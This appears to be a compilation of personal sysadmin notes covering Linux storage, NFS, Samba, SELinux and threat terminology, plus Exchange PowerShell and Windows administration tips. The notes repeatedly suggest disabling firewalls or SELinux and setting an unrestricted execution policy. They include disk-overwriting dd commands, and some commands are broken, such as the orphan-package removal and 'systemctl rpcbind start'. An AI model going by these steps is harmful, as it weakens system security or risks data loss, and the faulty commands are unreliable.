[Linux Boot Sequence](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/Linux+Boot+Sequence.pdf)
### System Run Level
- System Run Levels
Main Run level
> - 0 = Shut down (or halt) the system
> - 1 = Single-user mode; usually aliased as s or S
> - 6 =Reboot the system
Other Run levels
> - 2 = Multiuser mode without networking
> - 3 = Multiuser mode with networking
> - 5 = Multiuser mode with networking and GUI.
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/1-System+Run+Level.pdf)
### Linux Boot Process
- The boot sequence changes in CentOS/Redhat 7 and above
- systemd is the new service manager in CentOS/RHEL 7 that manages the boot sequence
- It is backward compatible with SysV init scripts used by previous versions of RedHat Linux including RHEL 6
- Every system administrator needs to understand the boot process of an OS in order to troubleshoot effectively
### Message of the Day
- File location:
> - /etc/motd
- Once again, message of the day is the first message users will see when they login to the Linux machine
- Steps:
> - Create a new file in /etc/profile.d/motd.sh
>
> - Add desired commands in motd.sh file
>
> - Modify the /etc/ssh/sshd_config file to edit
>
> > - \#PrintMotd yes to PrintMotd no
>
> - Restart sshd service
>
> > - systemctl restart sshd.service
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/8-Customizing-MOTD.pdf)
### Disk Partition
- Commands for disk partition
> - df
> - fdisk
- Purpose? = Out of Space, Additional Apps etc.
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/2-Partitioning+a+Disk.pdf)
[more notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/3-Mount+Disk+Partitions.pdf)
### Computer Storage
- LocalStorage
> - RAM,HDD,SSD,etc.
- DAS(DirectAttachedStorage)
> - CD/DVD, USB flash drive, external disk directly attached with USB or other cables
- SAN(StorageAreaNetwork)
> - Storage attached through iSCSI or fiber cable
- NAS(NetworkAttachedStorage)
> - Storage attached over network (TCP/IP)
> - E.g.Samba,NFSetc.
### Logical Volume Management (LVM)
- LVM allows disks to be combined together
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/4-Adding+Disk+and+Create+LVM+Partition.pdf)
[more notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/5-Extend+LVM.pdf)
### Add/Extend Swap Space
- What is swap? – CentOS.org
> - Swap space in Linux is used when the amount of physical memory (RAM) is full. If the system needs more memory resources and the RAM is full, inactive pages in memory are moved to the swap space. While swap space can help machines with a small amount of RAM, it should not be considered a replacement for more RAM. Swap space is located on hard drives, which have a slower access time than physical memory
- Recommended swap size = Twice the size of RAM M = Amount of RAM in GB, and S = Amount of swap in GB, then
> - If M \< 2
> - then S = M \* 2
> - Else S = M + 2
- Commands
> - dd
> - mkswap
> - swapon or swapoff
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/6-Add+Swap+Space.pdf)
### Advanced Storage Features
- Red Hat 8 introduces the next generation volume management solution called Stratis
- It uses thin provisioning by default
- It combines the process of creating logical volume management (LVM) and creation of filesystems into one management
- In LVM if a filesystem system gets full you will have to extend it manually whereas stratis extends the filesystem automatically if it has available space in its pool
- Install Statris package
> - yum/dnf install stratis-cli stratisd
- Enable and start Statris service
> - systemctl enable\|start stratisd
- Add 2 x 5G new disks from virtualization software and verify at the OS level
> - Oracle virtualbox storage setting
> - lsblk
- Create a new stratis pool and verify
> - stratis pool create pool1 /dev/sdb
> - stratis pool list
- Extend the pool
> - stratis pool add-data pool1 /dev/sdc
> - stratis pool list
- Create a new filesystem using stratis
> - stratis filesystem create pool1 fs1
> - stratis filesystem list (Filesystem will start with 546 MB)
- Create a directory for mount point and mount filesystem
> - mkdir /bigdata
> - mount /dev/stratis/pool1/fs1 /bigdata
> - lsblk
- Create a snapshot of your filesystem
> - startis filesystem snapshot pool1 fs1 fs1-snap
> - stratis filesystem list
- Add the entry to /etc/fstab to mount at boot
> - UUID=“asf-0887afgdja-” /fs1 xfs defaults,x-
> - systemd.requires=stratisd.service 0 0
### RAID
- RAID (Redundant Array of Independent Disks)
- Type of RAID
> - RAID0
> - RAID1
> - RAID5
### File System Check (fsck and xfs_repair)
- Linux fsck utility is used to check and repair Linux filesystems (ext2, ext3, ext4, etc.)
- Linux xfs_repair utility is used to check and repair Linux filesystems for xfs filesystem type
- Depending on when was the last time a file system was checked, the system runs the fsck during boot time to check whether the filesystem is in consistent state
- System administrator could also run it manually when there is a problem with the filesystems
- Make sure to execute the fsck on an unmounted file systems to avoid any data corruption issues.
- Force a filesystem check even if it’s clean using option –f
- Attempt to fix detected problems automatically using option -y
- The xfs_repair utility is highly scalable and is designed to repair even very large file systems with many inodes efficiently. Unlike other Linux file systems, xfs_repair does not run at boot time
- The following are the possible exit codes for fsck command
> - 0 - No errors
> - 1 - Filesystem errors corrected
> - 2 - System should be rebooted
> - 4 - Filesystem errors left uncorrected
> - 8 - Operational error
> - 16 - usage or syntax error
> - 32 - fsck cancelled by user request
> - 128 - shared-library error
### System Backup
- 5 Different Types of Backups
> 1. System backup (entire image using tools such as acronis, Veeam, Commvault etc.)
> 2. Application backup (3rd party application backup solution)
> 3. Database backup (Oracle dataguard, SQL backup etc.)
> 4. Filesystem backup (tar, gzip directoris etc.)
> 5. Disk backup or disk cloning (dd command)
- dd is a command-line utility for Unix and Unix-like operating systems whose primary purpose is to convert and copy files
- As a result, dd can be used for tasks such as backing up the boot sector of a hard drive, and obtaining a fixed amount of random data
- Please note the source and destination disk should be the same size
- To backup or clone an entire hard disk to another hard disk connected to the same system, execute the dd command as shown
> - \# dd if=\ of=\ \[Options\] \# dd if=/dev/sda of=/dev/sdb
- To backup/copy the disk partition
> - \# dd if =/dev/sda1 of=/root/sda1.img
- Restoring this image file to other machine after copying the .img
> - \# dd if=/root/sda1.img of=/dev/sdb3
### Network File System (NFS)
- NFS stands for Network File System, a file system developed by Sun Microsystems, Inc.
- It is a client/server system that allows users to access files across a network and treat them as if they resided in a local file directory
- For example, if you were using a computer linked to a second computer via NFS, you could access files on the second computer as if they resided in a directory on the first computer. This is accomplished through the processes of exporting (the process by which an NFS server provides remote clients with access to its files) and mounting (the process by which client map NFS shared filesystem)
- Steps for NFS Server Configuration
> - Install NFS packages
>
> > - \# yum install nfs-utils libnfsidmap (most likely they are installed)
>
> - Once the packages are installed, enable and start NFS services
>
> > - \# systemctl enable rpcbind
> > - \# systemctl enable nfs-server
> > - \# systemctl start rpcbind, nfs-server, rpc-statd, nfs-idmapd
>
> - Create NFS share directory and assign permissions
- Steps for NFS Client Configuration
> - Install NFS packages
>
> > \# yum install nfs-utils rpcbind
>
> - Once the packages are installed enable and start rpcbind service
>
> > - \# systemctl rpcbind start
>
> - Make sure firewalld or iptables stopped (if running)
> - \# ps –ef \| egrep “firewall\|iptable”
>
> - Show mount from the NFS server
>
> > - \# showmount -e 192.168.1.5 (NFS Server IP)
>
> - Create a mount point
>
> > - \# mkdir /mnt/kramer
>
> - Mount the NFS filesystem
>
> > - \# mount 192.168.1.5:/mypretzels /mnt/kramer
>
> - Verify mounted filesystem
>
> > - \# df –h
>
> - To unmount
>
> > - \# umount /mnt/kramer
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/9-Steps-for-NFS-Configuration.pdf)
### Samba
- Samba is a Linux tool or utility that allows sharing for Linux resources such as files and printers to with other operating systems
- It works exactly like NFS but the difference is NFS shares within Linux or Unix like system whereas Samba shares with other OS (e.g. Windows, MAC etc.)
- For example, computer “A” shares its filesystem with computer “B” using Samba then computer “B” will see that shared filesystem as if it is mounted as the local filesystem
- Samba shares its filesystem through a protocol called SMB (Server Message Block) which was invented by IBM
- Another protocol used to share Samba is through CIFS (Common Internet File System) invented by Microsoft and NMB (NetBios Named Server)
- CIFS became the extension of SMB and now Microsoft has introduced newer version of SMB v2 and v3 that are mostly used in the industry
- In simple term, most people, when they use either SMB or CIFS, are talking about the same exact thing
**Installation and Configuration**
- Take snapshot of your VM
- Install samba packages
- Enable samba to be allowed through firewall (Only if you have firewall running) \* Disable firewall
- Create Samba share directory and assign permissions
- Also change the SELinux security context for the samba shared directory
- Or disable SELinux
- Modify /etc/samba/smb.conf file to add new shared filesystem
- Verify the setting
- Once the packages are installed, enable and start Samba services (smb and nmb) \* Mount Samba share on Windows client
- Mount Samba share on Linux client
- Additional instructions on creating secure Samba share.
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/14-Samba+Installation+and+Configuration.pdf)
### NAS Device for NFS or Samba
- A storage can be carved on a Linux server, and it can be shared with another Linux machine through NFS or to a Windows machine through Samba service
- NFS/Samba or any NAS service can be setup through a dedicated NAS device
### SATA and SAS
- SATA Stands for Serial Advanced Technology Attachment and SAS stands for Serial Attached SCSI (SCSI Stands for Small Computer System Interface, typically pronounced as “scuzzy”)
- Both SAS and SATA utilize serial communication. Serial communication means that the highway has both lanes
- The main difference between them is that SAS drives are faster and more reliable than SATA drives
- SAS is generally more expensive, and it’s better suited for use in servers or in processing-heavy computer workstations. SATA is less expensive, and it’s better suited for desktop file storage
- In a SATA cable, all 4 wires are placed within the same cable. In a SAS cable, the 4 wires are separated into 2 different cables
**Why divide the wires between 2 cables?**
- So you can connect more devices to one another. With a SATA cable, you can only link the motherboard and the storage drive. You could hook up an expansion device, but that takes up valuable room inside your computer.
- With a SAS cable, you can hook up the motherboard to both a storage drive and another piece of hardware that has SAS connectors.
### Difference Between CentOS/RHEL7 and 8
- Red Hat Enterprise Linux 8 (RHEL 8) is now available for production use with lots of developer- friendly capabilities
- RHEL 8 official release by Red Hat Inc, was announced on May 7, 2019
| | RHEL 8 | RHEL 7 |
|---------------------------------------------------|---------------------------------------------------------------|------------------------------------------------------------------|
| General Availability Date | 14-Nov-18 | 10-Jun-14 |
| Code Name | Ootpa | Maipo |
| Kernel Version | 4.18 | 3.10.0-123 |
| End of Support | May-2029 | 30-Jun-2024 |
| Last Minor Release | 8.x | 7.7 |
| Network Time Synchronization | Only Chrony | Chrony and ntpd |
| GUI Interface (Desktop) | Gnome 3.28 | Gnome 3 |
| Default Database | MySQL 8.0, MariaDB 10.3, PostgreSQL 10 and 9.6, and Redis 5.0 | MariaDB |
| Default Firewall | Firewalld, it uses nftables framework in the backend | Firewalld, it uses Iptables framework in the backend |
| Max Supported (Individual) File & Filesystem Size | XFS= 1024TB | XFS= 500TB |
| Package Management | By default both are installed, YUM symbolic link to DNF | By default only YUM and DNF can be installed from the Extra repo |
| Max. RAM Supported | 24 TB on x86_64 architecture | 12 TB on x86_64 architecture |
## Additional Resources
### Change File Creation Permission
umask is a command to set default permission any newly created file/directory
eg. `umask u+rw,g+r,o-rwx`
### Filesystem Color Definition
- Blue = directory
- Green = executable or recognized data file
- Sky Blue = Symbolic link file
- Yellow with black background = device
- pink = graphic image file
- Red = archive file
- Red with black background = broken link
### Troubleshoot File Issues
- File does not exist
- Absolute vs relative paths
- File type
- Permissions
- Parent directory permissions
- Hidden file
- Command syntax (source and then target)
### Cannot CD Into a Directory
- Directory does not exist
- Absolute vs relative paths
- Permissions
- File type
- Parent directory permissions
- Hidden directories
### Filesystem is Corrupted
- Filesystem
- Types of a filesystem
> - ext3, ext4, xfs, NTFS, etc.
- Filesystem Layout and Partitions
> - /var, /etc, /root, /home, etc.
- Checking filesystem
> - df, fdisk -l
- Troubleshooting steps
> - Check /var/log/messages or /var/log/syslog
> - Run fsck on the block device (/dev/sda) NOT the mount point
> - Unmount filesystem and run fsck
### System is Running Slow
- Understanding the problem
> - Processing
> - Disk writing
> - Networking
> - Hardware
- Troubleshooting steps
> - Check if the right system is reported or you are on the right system
> - Check disk space (df -h, du)
> - Check processing (top, free, lsmem, /proc/meminfo, vmstat, pmap \, dmidecode, lscpu or /proc/cpuinfo)
> - Check disk issues (iostat -y 5, lsof)
> - Check networking (tcpdump -i enps03, lsof -i -P -n \| grep -i listen, netstat -plnt or ss -plnt, iftop)
> - Check system uptime (uptime)
> - Check logs
> - Check hardware status by logging into system console
> - OTher tools (htop, iotop, iptraf, psacct)
### IP Address Assigned but not Reachable
- Troubleshooting steps
> - Check if you are on the correct network interface (ifconfig)
> - Check to see if you got the right subnet mask or gateway
> - Ping the gateway
> - Check if the gateway is assigned (netstat -rnv)
> - Check with network team if the correct VLAN is assigned on the switch side
> - Run ethtool or mii-tool to check the NIC status
> - Run ifup \ command to bring the NIC port up
> - Restart network systemctl restart network
> - Check on the status of the NIC by running ifconfig or ip addr command
> - Check to see if the IP Is assigned to some other device (IP conflict)
> - Turn off firewall
### Remove Unnecessary or Orphan Packages
Keep your server lean and mean. Install only those packages you really need. IF there are unwanted packages delete them. The fewer the packages the less chance of unpached code.
Guidelines:
> - Do not install packages you do not need during the initial installation
> - Pay close attention to the add-on packages
To get a list of packages:
> - rpm -qa (CentOS)
> - apt list -installed (Ubuntu)
Remove packages:
> - rpm -e package_name
> - apt-get remove package_name
Orphaned Packages:
The objective is to remove all orphaned packages from Centos Linux. By orphaned packages we mean all packages which no longer serve a purpose of package dependencies.
Fore example, package A is dependent on package B, thus, in order to install package A the package B must be installed. Once the package A is removed, the package B might still be installed, hence package B is now orphaned package.
- A built-in utility which allows you to check for orphaned packages
> - yum-utils
- Check if that exist in your system
> - rpm -qa \| grep yum-utils
- If not then install
> - yum install yum-utils
- Get a list of all orphaned packages
> - package-cleanup -leaves
- Remove
> - yum remove 'package-cleanup -leaves'
> - apt-get autoremove
### SELinux (Security Enhanced Linux)
- What is SELinux?
> - SELinux is a Linux kernal security module that provides a mechanism for supporting access control security policies including mandatory access controls
> - It is a project of the United States Security Agency (NSA) and the SELinux Community
- SELinux options?
> - Enforcing = enabled (enabled by default in Redhat, CentOS, and Fedora)
> - Permissive = Disabled but logs the activity
> - Disable = disabled and not activity logs
- To check SELinux status
> - sestatus or getenforce
- SELinux setting
> - setenforce 0 = permissive/disable
> - setenforce 1 = enable
- Modify SELinux config for permanent setting
> - /etc/selinux/config
> - SELINUX=enforcing
> - SELINUX=disabled
- Before modifying selinux config file
> - Create a snapshot of your VM
- Before rebooting create a file
> - /.autorelabel
- Two main conceptes of SELinux
> - Labeling
> - Type enforcement
- To list the label of a file
> - ls -lZ /usr/sbin/httpd
- To list the label of a directory
> - ls -dZ /etc/httpd
- As the webserver runs its process its labeled in memory as httpd_t
> - ps axZ \| grep httpd
- The SELinux assigns the label at the socket level
> - netstat -tnlpZ \| grep httpd
- Command to manage SELinux setting:
> - semanage -\> to label
>
> > - login
> > - user
> > - port
> > - interface
> > - module
> > - node
> > - file context
> > - boolean
> > - permissive state
> > - dontaudit
- Boolean
> - ON / OFF switch
>
> - There are pre-defined out of the box Booleans that come with SELinux
>
> > - eg. do we allow ftp server to access home directories
> > - can httpd talk to ldap
> > - etc.
>
> - To list all booleans
>
> > - getsebool -a
> > - OR semanage boolean -l
>
> - To enable or turn on a booleans
>
> > - setsebool -P boolean_name on
>
> - Check error messages related to SELinux
>
> > - journalctl
>
> - To change the type in a label
>
> > - chcon -t httpd_sys_content_t FILENAME
> > - semanage -t httpd_sys_content_t FILENAME
### Types of Security Threats
- Distributed denial-of-service (DDoS) attack
> - When a hacker put a network of zombie computers (other peoples computers) to attack or destroy a specific website or server. That increase in volume or traffic overloads the website or server causing it to be slow or server shuts down completely
- Hacking
> - When someone gains unauthorized access to a computer
- Malware
> - Malicious software that infects your computer, such as computer virus, worms, trojan horses, spyware, and adware
>
> - Consequences
>
> > - Intimidate you with scareware, which is usually a pop-up message that tells you your computer has a security problem or other false information
> > - Reformat the hard drive of your computer causing you to lose all your information
> > - Alter or delete files
> > - Steal sensitive information
> > - Send emails on your behalf
> > - Take control of your computer and all the software running on it
- Pharming
> - It points you to a malicious and illegitimate website by reditrecting the legitimate URL. Even if the URL is entered correctly, it can still be reditrected to a fake website.
>
> - Consequences
>
> > - Convince you that the site is real and legitimate by spoofing or looking almost identical to the actual site down to the smallest details. You may enter your personal information and unknowingly give it to someone with malicious intent.
- Phishing
> - Fake emails, text messages and webistes created to look like theyre from authentic companies. THeyre sent by criminals to steal personal or financial information from you.
>
> - Consequences
>
> > - Trick you into giving them information by asking you to update, validate or confirm your account. It is often presented in a manner than seems official and intimidating, to encourage you to take action.
> > - Provides cyber criminals with your username and passwords so that they can access your accounts (your online bank account, shopping accounts, etc.) and steal your credit card numbers.
- Ransomware
> - Ransomware is a type of malware that restricts access to your computer or files and displays a messsage that demands payment in order for the restriction to be removed. The most common means of infection appear to be phishin emails that contain malicious attachments and website pop-up advertisements
>
> - Consequences
>
> > - There are two common types of ransomware.
> >
> > > - Lockscreen ransomware, displays an image that prevents you from accessing your computer
> > > - Encryption ransomware, encrypts files on your systems hard drive and sometimes on shared network drives. USB drives, external hard drives and even some cloud storage drives, preventing you from opening them.
- Spam
> - SPam is one of the more common methods of both sending information out and collecting it from unsuspecing people
>
> - Consequences
>
> > - Annoy you with unwanted junk email
> > - Create a burden for communications service providers and business to filter electronic messages.
> > - Phish for your information by tricking you into following links or entering details with offers and promotions
- Spoofing
> - THis technique is often used in conjunction with phishin in an attempt to steal your information. A website or email address that is created to look like it comes from a legitimate source. AN email address may even include your own name, the name of someone you know, making it difficult to discern whether or not the sender is real.
>
> - Consequences
>
> > - Spends spam using your email address, or a variation of your email address to your contact list.
> > - Recreates websites that closely resemble the authentic site. This could be a financial institution or other site that requires login or other personal information.
- Spyware
> - Software that collects personal information about you without you knowing. They often com in the form of a free download and are installed automatically with or without your consent. THese are difficult to remove and can infect your computer with viruses.
>
> - Consequences
>
> > - Collect informatiuon about you without you knowing about it and give it to third parties
> > - Send your usernames, passwords, surfing habits, list of applications youve downloaded, settings, and even the version of your OS to third parties.
> > - Change the way your computer runs without your knowledge
> > - Take you to unwanted sites or inundate you with uncontrollable pop-up ads.
- Trojan Horses
> - Trojan horse is a malicious program that is disguised as, or embeded with, legitimate software. It is an executable file that will install itself and run automatically once its downloaded.
>
> - Consequences
>
> > - Delete your files
> > - Use your computer to hack other ocmputers
> > - Watch you through your web cam
> > - Log your key strokes
> > - Record usernames, passwords, and other personal information
- Viruses
> - Malicious computer programs that are ogften sent as an email attachment or a download with the intent of infecting your computer, as well as computers of everyone in your contact list. Just visiting a site can start an automatic download of a virus.
>
> - Consequences
>
> > - Send spam
> > - Provide criminals with acccess to your computer and contact list
> > - Scan and find personal information like passwords on your computer.
> > - Hijack your web browser
> > - Disable your security settings
> > - Display unwanted ads
- Wi-Fi Eavesdropping
> - Virtual listening in on information thats shared over unsecure wifi network
>
> - Consequences
>
> > - Potentially access your computer with the right equipment
> > - Steal your personal information including logins and passwords
- Worms
> - A worm, unlike a virus, goes to work on its own without attaching itself to files or programs. It lives in your computers memory, doesnt damage or alter the hard drive and propegates itself to other computers in a network, whether within a company or the internet itself.
>
> - Consequences
>
> > - Spread to everyone in your contact list
> > - Cause a tremendous amount of damage by shutting down parts of the internet. Wreaking havok on an internal network and costing companies enourmous amounts of lost revenue
---
# UFW
Source: docs/computing/linux/ufw.md
URL: https://docs.calebsargeant.com/computing/linux/ufw/
## Port Forwarding
``` bash
iptables -t nat -A PREROUTING -i eth0 -p tcp -d {PUBLIC_IP} --dport 443 -j DNAT --to {INTERNAL_IP}:443
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
vi /etc/ufw/before.rules
*nat
:PREROUTING ACCEPT [0:0]
# forward 202.54.1.1 port 80 to 192.168.1.100:80
# forward 202.54.1.1 port 443 to 192.168.1.100:443
-A PREROUTING -i eth0 -d 202.54.1.1 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.100:80
-A PREROUTING -i eth0 -d 202.54.1.1 -p tcp --dport 443 -j DNAT --to-destination 192.168.1.100:443
# setup routing
-A POSTROUTING -s 192.168.1.0/24 ! -d 192.168.1.0/24 -j MASQUERADE
COMMIT
```
## Disable UFW
``` bash
ufw disable
apt-get remove ufw
apt-get purge ufw
```
## Status
``` bash
ufw status verbose
ufw logging on
```
---
# Backups
Source: docs/computing/microsoft/backups.md
URL: https://docs.calebsargeant.com/computing/microsoft/backups/
---
# Administration
Source: docs/computing/microsoft/exchange/administration.md
URL: https://docs.calebsargeant.com/computing/microsoft/exchange/administration/
## Add Email Address to User
Gives a secondary email address to the user
``` powershell
set-mailbox user -emailaddresses @{add='email@example.com'}
```
## Calendar Permissions
Gives Tracey read only access to Brittany, Lood, Brenda, Janelle, and Hilary's calendars. Tracey can ask to put an appointment on their calendar, but cannot create or edit without the owner's consent.
``` text
set-mailboxfolderpermission -identity brittany:\calendar -user tracey -accessrights reviewer
set-mailboxfolderpermission -identity lood:\calendar -user tracey -accessrights reviewer
set-mailboxfolderpermission -identity brenda:\calendar -user tracey -accessrights reviewer
set-mailboxfolderpermission -identity janelle:\calendar -user tracey -accessrights reviewer
set-mailboxfolderpermission -identity hilary:\calendar -user tracey -accessrights reviewer
```
### Exhange Access Rights
Sourced from
Exchange offers you the ability to give others varying levels of access rights. The following levels of rights are available, and are explained in terms of calendar rights:
- **Reviewer:** The person can view events on your calendar only. They cannot make changes to your calendar. This is the permission level to select if you don't want to grant any write or change permissions to the other person. (This is similar to giving someone Viewing Rights in CorporateTime)
- **Contributor:** The person can ONLY add events to your calendar, but they cannot view, modify, or delete any events on your calendar. (CorporateTime did not provide a similar access level to this)
- **Nonediting Author:** The person can create events on your calendar and view your calendar, but they can't modify any events once they have been have placed on your calendar, and they can't delete any of your events. (CorporateTime did not provide a similar access level to this)
- **Author:** The person can create events on your calendar and view your calendar but cannot modify or delete any events that you have placed on your calendar. This person can modify or delete only the events they created on your calendar. (CorporateTime did not provide a similar access level to this)
- **Publishing Author:** This level of access provides the same permissions as Author but also allows the person to create subfolders. (CorporateTime did not provide a similar access level to this)
- **Editor:** The person can create, view, modify, and delete events on your calendar. This level of access effectively gives the person full read and write access to your calendar. (This is similar to giving someone Delegate rights in CorporateTime)
- **Publishing Editor:** This level of access provides the same permissions as Editor but also allows the person to create subfolders. (This is similar to giving someone Delegate rights in CorporateTime)
- **Owner:** The person can create, view, modify, and delete events on your calendar. As the folder owner this person will also have the ability to grant or change permissions for other people to this calendar.
- **Free/Busy time:** This setting is typically set to the Default user and restricts other Exchange calendars not given permissions to view your calendar except when being scheduled. At that time the only thing people can see is a blue block (busy time) or white (free time).
- **Free/Busy time, subject, location:** This setting is one step up from the default setting. This will allow other Exchange Calendars the ability to see that you are busy, where you are, and the subject of the meeting. All other information is blocked from them and if they double-click on a meeting will be told they do not have sufficient permissions to view the calendar.
## Create a Service Account
``` powershell
New-Mailbox -Name 'B2B' -Alias 'B2B' -OrganizationalUnit 'example.com/User Accounts/Newlands/IT Service Accounts' -UserPrincipalName 'accountname@example.com' -SamAccountName 'accountname' -FirstName 'accountname' -Initials '' -LastName '' -Password 'System.Security.SecureString' -ResetPasswordOnNextLogon $false -Database 'Example - Services Mailbox'
```
## Delete a Mailbox
!!! warning
This will delete both the AD user and the exchange mailbox!
``` powershell
Remove-Mailbox -Identity "name surname" -Permanent $true
```
## Mailbox Access Permission
Removes Caleb's access to Bob's mailbox:
``` powershell
remove-mailboxpermission -identity bob -user caleb -accessrights fullaccess
```
## Send As Permission
Gives Priscilla access to Send As clientservicecentre
``` powershell
Add-ADPermission -Identity clientservicecentre -User "priscilla' -ExtendedRights 'Send-as'
```
## Out of Office
``` text
Set-MailboxAutoReplyConfiguration caleb@example.com –AutoReplyState Enabled –ExternalMessage “EXTERNAL MESSAGE HERE” –InternalMessage “INTERNAL MESSAGE HERE"
```
---
# Compliance Management
Source: docs/computing/microsoft/exchange/compliance-management.md
URL: https://docs.calebsargeant.com/computing/microsoft/exchange/compliance-management/
## Regulatory Compliance
Is very important in most exchange environments. Ensuring your organisation is in sync with legal requirements with regard to eDiscovery and other key aspects to compliance is a must for Exchange administrators.
eDiscovery searches ones mailbox for specific strings.
## Compliance Features
- In-Place eDiscovery & Hold
- Allows a search of mailboxes through the organisation, preview of search results and then copy of results to a Discovery mailbox
- In-Place Hold forces a hold on data discovered during in-place eDiscovery
- Note: Legal Hold or Litigation Hold places entire mailbox on hold
- Auditing
- Keeps an audit log of all actions taken on all mailboxes - Auditing is done based on access by owners, delegates and administrators
- You can run various reports (exp. administrator role group report)
- Transport Rules
- Allows you to create conditions, actions and exceptions over mail tthat is flowing through your organistation
- Data Loss Prevention (DLP)
- A form of transport rule that prevents users (or alerts users) from sending sensitive information like creditc card numbers - Based on regulatory standards (PII and PCI-DSS)
- Messaging Records Management (MRM)
- Revolves around email lifecycle policies - Retention policies are used to classify messages
- Journaling
- Provides the ability to retain copies of all incoming and outgoing mail through Standard journaling
- Provides more granular journaluing throiguh pPremium Journaling
- Require Enterprise Client-access Liscense for mailboxes
- Information Rights Management (IRM)
- Works in harmony with ADRMS to protect messages and attachements
- In-Place Archive
- Eliminates the proliferation of .pst files
## Scenario
- Enable default retention policy and in-place archive over Justin Beiber
- Establish a standard journaling rule for all email going in and outh of the organisation
- Place John Doe mailbox on Litigation Hold
## Howto
- compliance management \> in-place e discovery and hold
- compliance management \> retention policies (then recipients \> mailbox features \> Litigation hold)
- compliance management \> Journal rule (start-managedfolderassistant -identity "caleb sargeant")
---
# Configuration
Source: docs/computing/microsoft/exchange/configuration.md
URL: https://docs.calebsargeant.com/computing/microsoft/exchange/configuration/
A glob of installation and configuration images.
## Example 1
## Example 2
---
# Dynamic Access Control
Source: docs/computing/microsoft/exchange/dynamic-access-control.md
URL: https://docs.calebsargeant.com/computing/microsoft/exchange/dynamic-access-control/
Prepare the Dynamic Access Control Deployment Based on the Security and Business Requirements Prepare ADDS to support Dynamic Access Control
## On the Domain Controller:
1. Open AD Users and Computers
2. Make an OU named \
3. Add Clients to OU
4. Open GPME \> expand forest \> expand domains, expand \
5. Click Group Policy Objects container
6. Remove the Block Inheritance setting applied to OUs
7. Edit the Default Domain Controllers Policy GPO
8. In GPME \> Computer Configuration \> Policies \> Administrative Templates \> System \> KDC
9. Enable the KDC support for claims, compound authentication and Kerberos armoring policy setting.
10. Select Supported in Options section
11. run a gpupdate /force in cmd
12. In ADDS create a security group named \ in the Users container
13. Move the target client Computer Objects into the \container
14. Make the client Computer Objects a member of \
## Configuring User and Device Claims
### Review Claim Types:
On the Domain Controller:
1. Go to AD Administrative Center \> Dynamic Access Control
2. Open Claim Types and make sure no claims are present.
3. Resource Properties \> Properties, and review
4. New Claim Type \> description \> untick user, tick computer
### Configuring Resource Properties and File Classifications
1. In Resource Property enable Confidentiality, Department
2. Go to Suggested Values of Department \> click add \> Value/Display name: \
---
# Exchange
Source: docs/computing/microsoft/exchange/index.md
URL: https://docs.calebsargeant.com/computing/microsoft/exchange/
---
# General
Source: docs/computing/microsoft/general.md
URL: https://docs.calebsargeant.com/computing/microsoft/general/
## Find What is Using File
## Mapping Drive CLI
``` powershell
# Create Mapped drive
net use z: \\server\share /user:administrator mysecurepassword /persistent:Yes
# Delete mapped drive
net use * /delete
```
## Changing Network Type
``` powershell
Get-NetConnectionProfile
Set-NetConnectionProfile -InterfaceIndex 8 -NetworkCategory Private
Get-NetConnectionProfile -InterfaceIndex 8
```
## 7-zip CLI
``` powershell
# a means archive, mx9 means best compression
7zip.exe a -t7z -mx9 z:\dest-compressed-file.7z z:\source-folder
```
## DC Authenticated With
Check which DC authenticated with: `echo %logonserver%`
## Check the Size of a Folder from CLI
``` powershell
dir /a/s
```
## Download Firefox from CLI
``` powershell
# In PowerShell:
wget -O FirefoxSetup.exe "https://download.mozilla.org/?product=firefox-latest&os=win64&lang=en-US"
```
## Operations Masters
### Forest
Domain Naming Schema
### Domain
Relative Identifier (RID) Infrastructure PDC Emulater
## PowerShell
Set-ExecutionPolicy Unrestricted Will allow unsigned powershell scripts to run. Set-ExecutionPolicy Restricted Will not allow unsigned powershell scripts to run. Set-ExecutionPolicy RemoteSigned Will allow only remotely signed powershell scripts to run.
## Rename Domain Controller
``` batch
netdom computername /add:
netdom computername /makeprimary:
REBOOT
netdom computername /remove:
```
## LACP
### Windows' Side
*Server Manager* \> click on Link next to NIC teaming option or run `lbfoadmin.exe`
Select the adapters, add to team
For teaming mode choose LACP, load balancing method use address hash
### Cisco's Side
``` text
int r g0/1 - 2
channel-group 1 mode active
channel-protocol lacp
int port-chan1
switchport mode trunk
switchport trunk native vlan
switchport trunk allowed vlan
```
## Standard Installation
Ensure that the following has been configured on your physical server:
1. [RAID](#raid)
2. [Partitioning](#partitioning)
3. [Shadow Copies](#shadow-copies)
4. [Backups](#backups)
5. [Updates](#updates)
### RAID
Hardware Raid - BIOS Software Raid - diskmgmt.msc
### Partitioning
`diskmgmt.msc` \> right click on C: \> Shrink Volume...
### Shadow Copies
`sysdm.cpl` \> System Protection \> click on drive
### Backups
`ntbackup` after setting up Windows Backup
!!! note
Note that iSCSI network cannot restore (backups). Use an external drive for fast, scheduled backups.
### Updates
`wuapp.exe` \> install updates
## Disable Windows Server Updates
1. Open Windows Powershell by right click \> run as administrator
2. Type: SCONFIG and hit enter
3. Press 5 (Windows Update Settings)
4. Press D (Download Only mode)
5. Close Powershell
## Fixing Windows Corruption
- DISM.exe /Online /Cleanup-image /Scanhealth
- DISM.exe /Online /Cleanup-image /Restorehealth
- DISM.exe /online /cleanup-image /startcomponentcleanup
- sfc /scannow
- chkdsk /f /r
---
# Group Policy
Source: docs/computing/microsoft/group-policy.md
URL: https://docs.calebsargeant.com/computing/microsoft/group-policy/
## BGInfo
1. Download BgInfo from here.
2. Do the following in Group Policy Management:
3. Edit the BGInfo settings to suit your needs.
4. Save your settings in the same place as bginfo.exe.
